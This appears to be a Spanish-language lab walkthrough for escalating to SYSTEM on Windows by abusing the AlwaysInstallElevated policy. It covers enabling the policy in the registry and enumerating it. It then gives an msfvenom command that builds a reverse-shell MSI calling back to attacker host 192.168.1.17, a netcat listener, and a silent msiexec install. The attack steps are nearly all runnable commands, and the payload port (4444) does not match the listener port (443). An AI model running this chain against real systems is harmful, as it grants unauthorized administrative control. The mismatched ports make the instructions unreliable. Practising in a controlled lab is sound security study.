AlwaysInstallElevated
La política Always Install Elevated es una configuración en Windows que permite a los usuarios estándar instalar aplicaciones con privilegios elevados. Cuando esta política está habilitada, cualquier instalación de aplicación iniciada por un usuario estándar se ejecuta con derechos administrativos, evitando así las solicitudes de Control de Cuentas de Usuario (UAC).
En pocas palabras, si está habilitada tanto en HKLM (Computer) como en HKCU (User), cualquier archivo .msi instalado por un usuario no privilegiado se ejecutará con privilegios del sistema (SYSTEM).
Laboratorio de práctica
Para poner en práctica este método de escalación de privilegios, llevaremos a cabo la configuración del mismo en un entorno controlado.
Cómo activar AlwaysInstallElevated (modo local / GPEDIT / registro)
Con gpedit.msc
- Abrir
gpedit.msc - Navegar a:
Computer Configuration > Administrative Templates > Windows Components > Windows Installer→Always install with elevated privileges→ Enable

User Configuration > Administrative Templates > Windows Components > Windows Installer→Always install with elevated privileges→ Enable

- Reiniciar o forzar actualización
gpupdate /force.
Con el registro (gpedit):
Abre PowerShell / CMD con privilegios de administrador (necesario para escribir en HKLM):
# HKLM (Computer)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
# HKCU (User)
# Si el usuario está desconectado, carga su hive y escribe HKCU
reg load HKU\TempHive "C:\Users\frank.castle\NTUSER.DAT"
reg add "HKU\TempHive\SOFTWARE\Policies\Microsoft\Windows\Installer" /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg unload HKU\TempHive
Como administrador debemos iniciar el servicio de Windows Installer.
sc query msiserver

Explotación de Always Install Elevated: Creación y Ejecución de un MSI Malicioso
Supongamos que ganamos acceso a una máquina windows a través de una reverse shell o tenemos conexión a través de winrm o rdp con un usuario de bajos privilegios, en este caso, el usuario frank.castle.

Como podemos observar, el usuario no pertence a ningun grupo privilegiado ni tiene ningun privilegio relevante asignado.
Para llevar adelante la escalada de privilegios, en primera lugar debemos enumerar y comprobar que la política AlwaysInstallElevated esta habilitada
Comprobar que la política AlwaysInstallElevated esta habilitada
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Get-ItemProperty -Path "HKCU:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated"
Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\Installer" -Name "AlwaysInstallElevated"


Cómo funciona
Cuando la configuración Always Install Elevated está habilitada, ocurre lo siguiente:
- Elevación de Instalaciones:
- Los usuarios estándar pueden instalar aplicaciones sin necesidad de proporcionar credenciales de administrador. Esto permite que los paquetes MSI se ejecuten automáticamente con permisos administrativos.
- Bypass de UAC:
- El sistema no muestra el aviso de UAC, lo que reduce la visibilidad para el usuario y puede facilitar la instalación de software no autorizado o malicioso.
Explotación de Always Install Elevated: Creación y Ejecución de un MSI Malicioso
1. Generar un Paquete MSI Malicioso
Para aprovechar esta política, podemos crear un paquete MSI malicioso para obtener una reverse shell hacia nuetro equipo de atacante. Esto se puede hacer utilizando msfvenom. En este ejemplo, configuramos el host local LHOST como 192.168.1.17 y el puerto local LPORT como 4444.
El comando para generar el paquete MSI es:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.17 LPORT=4444 -f msi > shell.msi
2. Transferir el Archivo MSI al Objetivo
Una vez generado el archivo shell.msi, debemos transferirlo a la máquina objetivo. Podemos usar algunos métodos como:
- Compartir archivos (por ejemplo, a través de SMB).
- Subirlo a un servidor web y descargarlo en la máquina objetivo.
- Copiarlo directamente si tienes acceso físico o remoto.
3. Configurar un Listener
El la máquina atacante nos ponemos en escucha con netcat por el puerto indicado, en este caso 443.
rlwrap nc -lnvp 443
4. Ejecutar el Paquete MSI en el Objetivo
En la máquina objetivo, ejecutamos el paquete MSI utilizando el comando msiexec. Para evitar alertas o interrupciones, usamos los parámetros /quiet y /qn, que ejecutan la instalación en modo silencioso:
msiexec /i C:\temp\shell.msi /quiet /qn /norestart

De esta forma, logramos ganar acceso al sistema como el usuario nt authority\system.